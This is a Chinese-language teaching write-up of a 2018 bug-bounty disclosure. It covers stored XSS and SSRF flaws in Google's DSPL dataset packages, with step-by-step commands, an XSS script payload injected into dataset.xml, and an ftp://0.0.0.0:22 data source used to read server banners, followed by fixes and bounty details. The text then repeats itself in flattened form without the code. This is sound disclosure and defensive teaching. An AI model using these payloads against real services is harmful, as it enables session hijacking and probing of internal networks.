挖洞经验 | 看我如何构造DSPL语言包发现Google的存储型XSS和SSRF漏洞
字数 1162 2025-08-18 11:37:11

Google DSPL语言包漏洞分析与利用教学文档

1. DSPL语言概述

Google数据集发布语言(Dataset Publishing Language, DSPL)是Google提供的一种接口,允许用户将自己的数据库链接到Google的可视化工具,实现个性化数据可视化。

1.1 DSPL主要特点

  • 使用XML描述数据集中的元数据
  • 配合CSV数据文件使用
  • 用于Google公开数据浏览器(Public Data Explorer)
  • 支持从远程HTTP或FTP源检索数据

1.2 DSPL文件结构示例

一个典型的DSPL压缩包(sample.zip)包含以下文件:

countries.csv
country_slice.csv
dataset.xml (主元数据文件)
gender_country_slice.csv
genders.csv
state_slice.csv
states.csv

2. 漏洞发现与分析

2.1 存储型XSS漏洞

漏洞原理

Google公开数据浏览器在使用数据集归档中的元数据时,未对元数据进行有效编码或安全验证。

漏洞利用步骤

  1. 下载示例DSPL包:

    curl https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/dspl/tutorial1.0.zip -o sample.zip
    unzip sample.zip; rm sample.zip
    
  2. 修改dataset.xml文件,在name字段注入XSS payload:

    <info>
      <name>
        <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
      </name>
      <description>
        <value>Some very interesting statistics about countries</value>
      </description>
      <url>
        <value>http://google.com</value>
      </url>
    </info>
    
  3. 重新打包并上传:

    zip -r poc.dspl *
    
  4. 将数据集上传到Google公开数据浏览器并公开分享

攻击效果

任何查看该数据集的用户都会在www.google.com请求环境中执行攻击者的JavaScript代码。

2.2 SSRF漏洞

漏洞原理

利用DSPL的远程数据源功能,可以构造恶意请求访问本地服务。

漏洞利用步骤

  1. 修改dataset.xml文件,添加恶意数据源:

    <table id="my_table">
      <column id="first" type="string"/>
      <column id="last" type="string"/>
      <data>
        <file format="csv" encoding="utf-8">ftp://0.0.0.0:22</file>
      </data>
    </table>
    
  2. 上传数据集时,Google服务端会尝试访问指定的FTP服务

攻击效果

  • 可以获取Google服务端的SSH banner信息
  • 潜在可访问内网隔离系统
  • 可能进一步渗透内部网络

3. 漏洞验证与PoC

3.1 XSS漏洞验证视频

3.2 SSRF漏洞验证

上传包含恶意FTP链接的数据集后,Google服务端返回的出错响应中会显示SSH banner信息。

4. 漏洞修复与奖励

4.1 漏洞处理时间线

  • 2018年1月:漏洞上报
  • 2018年2月:Google确认并修复漏洞
  • 2018年2月:XSS漏洞奖励$5000
  • 2018年3月:SSRF漏洞奖励$13337

5. 防御建议

5.1 针对XSS漏洞

  • 对所有用户提供的元数据进行HTML编码
  • 实现内容安全策略(CSP)
  • 对CDATA内容进行严格过滤

5.2 针对SSRF漏洞

  • 限制可访问的协议(禁用FTP等)
  • 实现URL白名单机制
  • 过滤内网IP地址请求
  • 隐藏详细的错误信息

6. 总结

本教学文档详细分析了Google DSPL语言包中存在的存储型XSS和SSRF漏洞,包括:

  1. 漏洞原理与利用方法
  2. 具体的攻击步骤
  3. 漏洞验证方式
  4. 防御建议

这些漏洞展示了即使是大公司如Google,在复杂系统中也可能存在安全隐患,特别是在处理用户提供的数据时,必须实施严格的安全检查和过滤机制。

Google DSPL语言包漏洞分析与利用教学文档 1. DSPL语言概述 Google数据集发布语言(Dataset Publishing Language, DSPL)是Google提供的一种接口,允许用户将自己的数据库链接到Google的可视化工具,实现个性化数据可视化。 1.1 DSPL主要特点 使用XML描述数据集中的元数据 配合CSV数据文件使用 用于Google公开数据浏览器(Public Data Explorer) 支持从远程HTTP或FTP源检索数据 1.2 DSPL文件结构示例 一个典型的DSPL压缩包(sample.zip)包含以下文件: 2. 漏洞发现与分析 2.1 存储型XSS漏洞 漏洞原理 Google公开数据浏览器在使用数据集归档中的元数据时,未对元数据进行有效编码或安全验证。 漏洞利用步骤 下载示例DSPL包: 修改dataset.xml文件,在name字段注入XSS payload: 重新打包并上传: 将数据集上传到Google公开数据浏览器并公开分享 攻击效果 任何查看该数据集的用户都会在www.google.com请求环境中执行攻击者的JavaScript代码。 2.2 SSRF漏洞 漏洞原理 利用DSPL的远程数据源功能,可以构造恶意请求访问本地服务。 漏洞利用步骤 修改dataset.xml文件,添加恶意数据源: 上传数据集时,Google服务端会尝试访问指定的FTP服务 攻击效果 可以获取Google服务端的SSH banner信息 潜在可访问内网隔离系统 可能进一步渗透内部网络 3. 漏洞验证与PoC 3.1 XSS漏洞验证视频 优酷视频 Vimeo视频 3.2 SSRF漏洞验证 上传包含恶意FTP链接的数据集后,Google服务端返回的出错响应中会显示SSH banner信息。 4. 漏洞修复与奖励 4.1 漏洞处理时间线 2018年1月:漏洞上报 2018年2月:Google确认并修复漏洞 2018年2月:XSS漏洞奖励$5000 2018年3月:SSRF漏洞奖励$13337 5. 防御建议 5.1 针对XSS漏洞 对所有用户提供的元数据进行HTML编码 实现内容安全策略(CSP) 对CDATA内容进行严格过滤 5.2 针对SSRF漏洞 限制可访问的协议(禁用FTP等) 实现URL白名单机制 过滤内网IP地址请求 隐藏详细的错误信息 6. 总结 本教学文档详细分析了Google DSPL语言包中存在的存储型XSS和SSRF漏洞,包括: 漏洞原理与利用方法 具体的攻击步骤 漏洞验证方式 防御建议 这些漏洞展示了即使是大公司如Google,在复杂系统中也可能存在安全隐患,特别是在处理用户提供的数据时,必须实施严格的安全检查和过滤机制。